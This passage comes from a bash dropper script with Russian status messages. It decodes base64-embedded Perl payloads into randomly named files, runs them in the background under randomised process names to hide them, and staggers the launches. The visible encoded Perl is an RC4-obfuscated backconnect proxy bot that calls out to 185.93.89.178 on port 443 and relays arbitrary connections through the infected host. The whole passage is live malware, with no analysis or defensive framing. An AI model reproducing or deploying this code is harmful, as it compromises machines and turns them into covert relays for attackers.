ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #53 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #53 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 54 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 